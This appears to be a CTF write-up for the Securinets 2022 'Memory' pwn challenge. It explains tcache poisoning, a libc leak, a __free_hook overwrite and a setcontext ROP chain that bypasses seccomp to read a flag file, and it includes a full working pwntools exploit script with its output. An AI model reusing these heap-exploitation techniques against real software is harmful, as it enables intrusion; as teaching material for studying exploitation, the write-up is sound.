## Memory
> Points: 944>> Solves: 26
### Description:> Memory is love!>> nc 20.216.39.14 1235>> https://drive.google.com/file/d/1_ZZmFWxE3SHuezNz9nOirl3RNNbgCHzF/view
### Attachments:> -rwxr-xr-x 1 mito mito  2029560 Apr 10 01:14 libc.so.6      --> libc-2.31.so> > -rwxrwxr-x 1 mito mito    17648 Apr  3 23:03 memory
### C code:Below is the result of decompiling the `main` function using `Ghidra`.```cvoid main(void)
{  undefined4 uVar1;   count = (undefined4 *)malloc(4);  *count = 0;  init_buffering();  sandbox();  puts("Memory can be easily accessed !");  do {    menu();    printf(">> ");    uVar1 = read_int();    switch(uVar1) {    case 1:      dread();      break;    case 2:      dwrite();      break;    case 3:      dallocate();      break;    case 4:      dfree();      break;    case 5:      dview();      break;    case 6:                    /* WARNING: Subroutine does not return */      exit(1);    }  } while( true );}```## Analysis:This binary has the following five functions.* `dread()` displays 8 bytes of data at any address.* `dwrite()` writes 8 bytes of data to any address.* `dallocate()` can malloc a chunk of any size and write malloced size -8 data in the heap. Not terminated with null.* `dree()` frees the chunk (the last malloced chunk) pointed to by the `ptr` variable.* `dview()` displays the data of the chunk (the last malloced chunk) pointed to by the `ptr` variable.
However, `dread()` and `dwrite()` can only be used once.
First, the `sandbox` function is used to set `seccomp`.```cvoid sandbox(void)
{  undefined8 uVar1;  long in_FS_OFFSET;  uint local_34;  undefined4 local_28 [6];  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  uVar1 = seccomp_init(0);  local_28[0] = 0;  local_28[1] = 1;  local_28[2] = 2;  local_28[3] = 10;  local_28[4] = 0xe7;  for (local_34 = 0; local_34 < 5; local_34 = local_34 + 1) {    seccomp_rule_add(uVar1,0x7fff0000,local_28[(int)local_34],0);  }  seccomp_load(uVar1);  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return;}```
The result of `seccomp-tools` is as follows.
System calls other than `sys_read`, `sys_write`, `sys_open`, `sys_mprotect`, and `sys_exit_group` are prohibited.
```bash$ seccomp-tools dump ./memory line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0010 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0011: 0x06 0x00 0x00 0x00000000  return KILL```
The state of the free chunk when the binary (memory) is started is as follows.
We can see that many chunks are free from the beginning.```pwndbg> binstcachebins0x20 [  7]: 0x55555555aff0 —▸ 0x55555555b2a0 —▸ 0x55555555a770 —▸ 0x55555555ae50 —▸ 0x55555555acb0 —▸ 0x55555555ab10 —▸ 0x55555555a6e0 ◂— 0x00x70 [  7]: 0x55555555a9b0 —▸ 0x55555555ab50 —▸ 0x55555555acf0 —▸ 0x55555555ae90 —▸ 0x55555555b030 —▸ 0x55555555b1b0 —▸ 0x55555555a700 ◂— 0x00x80 [  7]: 0x55555555a910 —▸ 0x55555555aa90 —▸ 0x55555555ac30 —▸ 0x55555555add0 —▸ 0x55555555af70 —▸ 0x55555555b220 —▸ 0x55555555a660 ◂— 0x00xd0 [  5]: 0x55555555a190 —▸ 0x555555559e60 —▸ 0x555555559b30 —▸ 0x555555559800 —▸ 0x555555559370 ◂— 0x00xf0 [  2]: 0x55555555b0a0 —▸ 0x55555555a390 ◂— 0x0fastbins0x20: 0x55555555a4b0 —▸ 0x55555555a5c0 —▸ 0x55555555a8e0 —▸ 0x55555555a980 —▸ 0x55555555ab20 ◂— ...0x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x55555555b2b0 —▸ 0x55555555a4d0 —▸ 0x55555555a5e0 —▸ 0x55555555a7f0 —▸ 0x55555555aef0 ◂— ...0x80: 0x55555555a540 —▸ 0x55555555a860 ◂— 0x0unsortedbinall: 0x0smallbinsemptylargebinsemptypwndbg> ```
The `BSS` area is as follows. Only `count` and `ptr` variables.```pwndbg> x/80gx 0x5555555580000x555555558000:	0x0000000000000000	0x00005555555580080x555555558010:	0x0000000000000000	0x00000000000000000x555555558020 <stdout@@GLIBC_2.2.5>:	0x00007ffff7f8c6a0	0x00000000000000000x555555558030 <stdin@@GLIBC_2.2.5>:	0x00007ffff7f8b980	0x00000000000000000x555555558040 <stderr@@GLIBC_2.2.5>:	0x00007ffff7f8c5c0	0x00000000000000000x555555558050 <count>:	0x00005555555592a0	0x000055555555b330　　　<- ptr変数(0x000055555555b330)0x555555558060:	0x0000000000000000	0x00000000000000000x555555558070:	0x0000000000000000	0x0000000000000000```
## Solution:The points of Exploit are as follows.
* Heap address leaks are easy because they are not null-terminated with `dallocate()`.* We can easily get the libc address and rewrite the `__free_hook` by using `dwrite()` to replace the link in the `tcachebins`.* The `system` function cannot be used because the system call is restricted by `seccomp`.* We can use ROP by stacking heap memory using the the ROP gadget of `mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];` and the `setcontext` function.
The following is a brief description of the Exploit procedure.
For heap address leaks, we can `dallocate()` a 0x10 size chunk, write only "\n" as data, and then call the `dview()` function to leak the top 7 bytes of the heap address.```bash$ ./memoryMemory can be easily accessed !1) read2) write3) allocate4) free5) view6) exit>> 3size: >> 16data: >> 1) read2) write3) allocate4) free5) view6) exit>> 5
�UUUU　　<- Heap address leak```
The state of the first `tcachebins` is as follows.```pwndbg> binstcachebins0x20 [  6]: 0x55555555b2a0 —▸ 0x55555555a770 —▸ 0x55555555ae50 —▸ 0x55555555acb0 —▸ 0x55555555ab10 —▸ 0x55555555a6e0 ◂— 0x00x70 [  7]: 0x55555555a9b0 —▸ 0x55555555ab50 —▸ 0x55555555acf0 —▸ 0x55555555ae90 —▸ 0x55555555b030 —▸ 0x55555555b1b0 —▸ 0x55555555a700 ◂— 0x00x80 [  7]: 0x55555555a910 —▸ 0x55555555aa90 —▸ 0x55555555ac30 —▸ 0x55555555add0 —▸ 0x55555555af70 —▸ 0x55555555b220 —▸ 0x55555555a660 ◂— 0x00xd0 [  5]: 0x55555555a190 —▸ 0x555555559e60 —▸ 0x555555559b30 —▸ 0x555555559800 —▸ 0x555555559370 ◂— 0x00xf0 [  2]: 0x55555555b0a0 —▸ 0x55555555a390 ◂— 0x0```
Use `dwrite()` to change the 0xf0 `tcachebin` free chunk from `0x55555555a390` to `0x55555555aef0`.```State before change：0xf0 [  2]: 0x55555555b0a0 —▸ 0x55555555a390 ◂— 0x0　　　　　　　　　　　　　　　State after change： 0xf0 [  2]: 0x55555555b0a0 —▸ 0x55555555aef0 ◂— 0x0```
The state of the heap memory after the change is as follows.```0x55555555b070:	0x000055555555b1b0	0x000055555555ae900x55555555b080:	0x0000000000000000	0x00000000000000000x55555555b090:	0x0000000000000000	0x00000000000000f10x55555555b0a0:	0x000055555555aef0	0x0000555555559010　　　　　　 　　~~~~~~~~~~~~~~~~~~　　0x55555555b0b0:	0x0000000000000000	0x00000000000000000x55555555b0c0:	0x0000000000000000	0x00000000000000000x55555555b0d0:	0x0000000000000001	0x00000000000000350x55555555b0e0:	0x0000000000000000	0x0000000000000000```
The memory status near `0x000055555555aef0` is as follows.```0x55555555ae70:	0x000055555555acc0	0x000055555555b0000x55555555ae80:	0x0000000000000020	0x00000000000000700x55555555ae90:	0x000055555555b030	0x00005555555590100x55555555aea0:	0xffffffff00000000	0xffffffff000000000x55555555aeb0:	0x000100010000ffff	0x00000000000000000x55555555aec0:	0x00000000fd929108	0x00000000000000000x55555555aed0:	0x000055555555b030	0x000055555555acf00x55555555aee0:	0x0000000000000000	0x0000000000000000　--> Write 0xf1 to create a fake chunk.0x55555555aef0:	0x0000000000000000	0x0000000000000071　--> Leak the libc address (0x00007ffff7f8bc40) of this chunk.0x55555555af00:	0x00007ffff7f8bc40	0x000055555555ad500x55555555af10:	0xffffffffffffffff	0xffffffffffffffff0x55555555af20:	0x0000000100000000	0x00000000000000000x55555555af30:	0x0000000093507296	0x00000000000000000x55555555af40:	0x0000000000000000	0x00000000000000000x55555555af50:	0x0000000000000000	0x00000000000000000x55555555af60:	0x0000000000000070	0x0000000000000080  --> Rewrite this 0x80 size chunk and rewrite __free_hook.0x55555555af70:	0x000055555555b220	0x00005555555590100x55555555af80:	0x0000000000000003	0x00000000000000000x55555555af90:	0x0000000000000003	0x00000000000000000x55555555afa0:	0x0000000000000001	0x00000000000000000x55555555afb0:	0x0000000000000000	0x00000000000000000x55555555afc0:	0x0000000000000000	0x00000000000000000x55555555afd0:	0x0000000000000000	0x00000000000000000x55555555afe0:	0x0000000000000000	0x00000000000000210x55555555aff0:	0x000055555555b20a	0x0000000000000000```
We can get the libc address (`0x00007ffff7f8bc40`) by executing the following.```pythonAlloc(0xe0, "\n")Alloc(0xe0, "A"*15+"\n")View()``````0x55555555aed0:	0x0000000000000000	0x00000000000000000x55555555aee0:	0x0000000000000000	0x00000000000000f10x55555555aef0:	0x4141414141414141	0x0a414141414141410x55555555af00:	0x00007ffff7f8bc40	0x000055555555ad50                ~~~~~~~~~~~~~~~~~~0x55555555af10:	0xffffffffffffffff	0xffffffffffffffff0x55555555af20:	0x0000000100000000	0x00000000000000000x55555555af30:	0x0000000093507296	0x00000000000000000x55555555af40:	0x0000000000000000	0x00000000000000000x55555555af50:	0x0000000000000000	0x00000000000000000x55555555af60:	0x0000000000000070	0x00000000000000800x55555555af70:	0x000055555555b220	0x00005555555590100x55555555af80:	0x0000000000000003	0x0000000000000000```
We can write the data of (`free_hook-0x10`) to the 0x80 size `tcachebins` by executing the following.```pythonFree()Alloc(0xe0, b"A"*0x78+p64(0x81)+p64(free_hook-0x10))```The state where the address of `__free_hook` is written to `tcachebins` is as follows.```pwndbg> binstcachebins0x20 [  6]: 0x55555555b2a0 —▸ 0x55555555a770 —▸ 0x55555555ae50 —▸ 0x55555555acb0 —▸ 0x55555555ab10 —▸ 0x55555555a6e0 ◂— 0x00x70 [  3]: 0x55555555b030 —▸ 0x55555555b1b0 —▸ 0x55555555a700 ◂— 0x00x80 [  7]: 0x55555555a910 —▸ 0x55555555aa90 —▸ 0x55555555ac30 —▸ 0x55555555add0 —▸ 0x55555555af70 —▸ 0x7ffff7f8de38 (__attr_list_lock) ◂— 0x00xd0 [  5]: 0x55555555a190 —▸ 0x555555559e60 —▸ 0x555555559b30 —▸ 0x555555559800 —▸ 0x555555559370 ◂— 0x0```
The `system` function cannot be used because the system call is restricted by `seccomp`. Therefore, it needs to be ROP, but since the register used by the `setcontext` function has been changed to `rdx` in libc-2.31.so, the `setcontext` function cannot be used directly.
The following is an excerpt from the `setcontext` function.```   0x00007ffff7df3f8d <+61>:	mov    rsp,QWORD PTR [rdx+0xa0]   0x00007ffff7df3f94 <+68>:	mov    rbx,QWORD PTR [rdx+0x80]   0x00007ffff7df3f9b <+75>:	mov    rbp,QWORD PTR [rdx+0x78]   0x00007ffff7df3f9f <+79>:	mov    r12,QWORD PTR [rdx+0x48]   0x00007ffff7df3fa3 <+83>:	mov    r13,QWORD PTR [rdx+0x50]   0x00007ffff7df3fa7 <+87>:	mov    r14,QWORD PTR [rdx+0x58]   0x00007ffff7df3fab <+91>:	mov    r15,QWORD PTR [rdx+0x60]   0x00007ffff7df3faf <+95>:	test   DWORD PTR fs:0x48,0x2   0x00007ffff7df3fbb <+107>:	je     0x7ffff7df4076 <setcontext+294>```
I searched for other `push rdi; ...; pop rsp; ...; ret;` ROP gadgets, but none were available.
When I checked the following site, I was able to use ROP because I could set the address of the heap in the `rsp` register by using the ROP gadget of `mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];` and the `setcontext` function.
[https://lkmidas.github.io/posts/20210103-heap-seccomp-rop/](http://lkmidas.github.io/posts/20210103-heap-seccomp-rop/)
In ROP, we can read the flag file by `sys_open` the `./flag.txt` file and system-calling `sys_read` and `sys_write` in that order.
The following is the state where the address of `mov rdx, qword ptr [rdi + 8]; ...` is set in `__free_hook`.```0x7ffff7f8de30 <fork_handlers+1552>:	0x0000000000000000	0x00000000000000000x7ffff7f8de40 <__after_morecore_hook>:	0x000055555555b2c0	0x00007ffff7ef08b0```
The following is the state where the ROP code is written in the heap area.```0x55555555b290:	0x0000000000000000	0x00000000000000210x55555555b2a0:	0x000055555555a770	0x00005555555590100x55555555b2b0:	0x0000000000000001	0x00000000000002110x55555555b2c0:	0x4141414141414141	0x41414141414141410x55555555b2d0:	0x4141414141414141	0x41414141414141410x55555555b2e0:	0x00007ffff7df3f8d	0x42424242424242420x55555555b2f0:	0x4242424242424242	0x42424242424242420x55555555b300:	0x4242424242424242	0x42424242424242420x55555555b310:	0x4242424242424242	0x42424242424242420x55555555b320:	0x4242424242424242	0x42424242424242420x55555555b330:	0x4242424242424242	0x42424242424242420x55555555b340:	0x4242424242424242	0x42424242424242420x55555555b350:	0x4242424242424242	0x42424242424242420x55555555b360:	0x000055555555b370	0x00007ffff7dc16790x55555555b370:	0x00007ffff7de6400	0x00000000000000020x55555555b380:	0x00007ffff7dc2b72	0x000055555555b4180x55555555b390:	0x00007ffff7dc504f	0x00000000000000000x55555555b3a0:	0x00007ffff7e020d9	0x00007ffff7dc2b720x55555555b3b0:	0x0000000000000000	0x00007ffff7e90b950x55555555b3c0:	0x00007ffff7dc504f	0x000055555555d0000x55555555b3d0:	0x00007ffff7eb8241	0x00000000000000800x55555555b3e0:	0x0000000000000000	0x00007ffff7e020d90x55555555b3f0:	0x00007ffff7de6400	0x00000000000000010x55555555b400:	0x00007ffff7dc2b72	0x00000000000000010x55555555b410:	0x00007ffff7e020d9	0x742e67616c662f2e0x55555555b420:	0x0000000000007478	0x00000000000000000x55555555b430:	0x0000000000000000	0x0000000000000000```
## Exploit code:The Exploit code is below.```pythonfrom pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './memory'context.binary = elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "20.216.39.14"  PORT = 1235  s = remote(HOST, PORT)  libc = ELF("./libc.so.6")else:  s = process(BINARY)  #s = process(BINARY, env={'LD_PRELOAD': './libc-2.23.so'})  libc = elf.libc def Read(where):  s.sendlineafter(">> ", "1")  s.sendlineafter(">> ", hex(where)) 
def Write(where, data):  s.sendlineafter(">> ", "2")  s.sendlineafter(">> ", hex(where))   s.sendlineafter(">> ", hex(data)) def Alloc(size, data):   s.sendlineafter(">> ", "3")  s.sendlineafter(">> ", str(size))   s.sendafter(">> ", data) def Free():  s.sendlineafter(">> ", "4")
def View():  s.sendlineafter(">> ", "5")
Alloc(0x10, "\n")View()heap_leak = u64(s.recv(6)+b"\x00\x00")heap_base = heap_leak - 0x220aprint("heap_leak =", hex(heap_leak))print("heap_base =", hex(heap_base))
Alloc(1100, "A"*4)Free()Write(heap_base+0x20a0, heap_base+0x1ef0)
# Make 0xf0 size chunk for free() Alloc(0x60, "\n")Alloc(0x60, "\n")Alloc(0x60, "\n")Alloc(0x68, p64(0)*11+p64(0xf1))
# libc leakAlloc(0xe0, "\n")Alloc(0xe0, "A"*15+"\n")View()s.recvuntil("A"*15+"\n")libc_leak = u64(s.recv(6)+b"\x00\x00")libc_base = libc_leak - 0x1ecc40free_hook = libc_base + libc.sym.__free_hook
print("libc_leak =", hex(libc_leak))print("libc_base =", hex(libc_base))
setcontext   = libc_base + libc.sym.setcontextmov_rdx_rdi  = libc_base + 0x1518b0 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; ret_addr     = libc_base + 0x22679  # ret;syscall_ret  = libc_base + 0x630d9  # syscall; ret;pop_rax_ret  = libc_base + 0x47400  # pop rax; ret;pop_rdi_ret  = libc_base + 0x23b72  # pop rdi; ret;pop_rsi_ret  = libc_base + 0x2604f  # pop rsi; ret;pop_rdx_ret  = libc_base + 0x119241 # pop rdx; pop r12; ret;xchg_eax_edi = libc_base + 0xf1b95  # xchg eax, edi; ret;
# Write __free_hook in tcachebins Free()Alloc(0xe0, b"A"*0x78+p64(0x81)+p64(free_hook-0x10))
for i in range(5):  Alloc(0x70, "\n")
# Write ROP chain of Open/Read/Write in heap memorybuf  = b"A"*0x20buf += p64(setcontext+61)buf += b"B"*0x78buf += p64(heap_base + 0x2370) # rspbuf += p64(ret_addr)           # rcx  buf += p64(pop_rax_ret)buf += p64(2)buf += p64(pop_rdi_ret)buf += p64(heap_base + 0x2418)buf += p64(pop_rsi_ret)buf += p64(0)buf += p64(syscall_ret)buf += p64(pop_rdi_ret)buf += p64(0)buf += p64(xchg_eax_edi)buf += p64(pop_rsi_ret)buf += p64(heap_base + 0x4000)buf += p64(pop_rdx_ret)buf += p64(0x80)buf += p64(0)buf += p64(syscall_ret)buf += p64(pop_rax_ret)buf += p64(1)buf += p64(pop_rdi_ret)buf += p64(1)buf += p64(syscall_ret)buf += b"./flag.txt\x00"Alloc(0x200, buf)
# Write ROP gadget address(mov rdx, qword ptr [rdi + 8];...) in __free_hookAlloc(0x70, p64(0)+p64(heap_base+0x22c0)+p64(mov_rdx_rdi))
# Start ROP chainFree()
s.interactive()```
## Results:The execution result is as follows.```bashmito@ubuntu:~/CTF/Securinets_CTF_Quals_2022/Pwn_Memory$ python3 solve.py r[*] '/home/mito/CTF/Securinets_CTF_Quals_2022/Pwn_Memory/memory'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to 20.216.39.14 on port 1235: Done[*] '/home/mito/CTF/Securinets_CTF_Quals_2022/Pwn_Memory/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledheap_leak = 0x564b41f2020aheap_base = 0x564b41f1e000libc_leak = 0x7f131dcb4c40libc_base = 0x7f131dac8000[*] Switching to interactive modeSecurinets{397b5541d6dacf89123c5a24eea45cb7cc526dade67d4a70}   ```
## Reference:References are below. Thank you, Midas!
[https://lkmidas.github.io/posts/20210103-heap-seccomp-rop/](http://lkmidas.github.io/posts/20210103-heap-seccomp-rop/)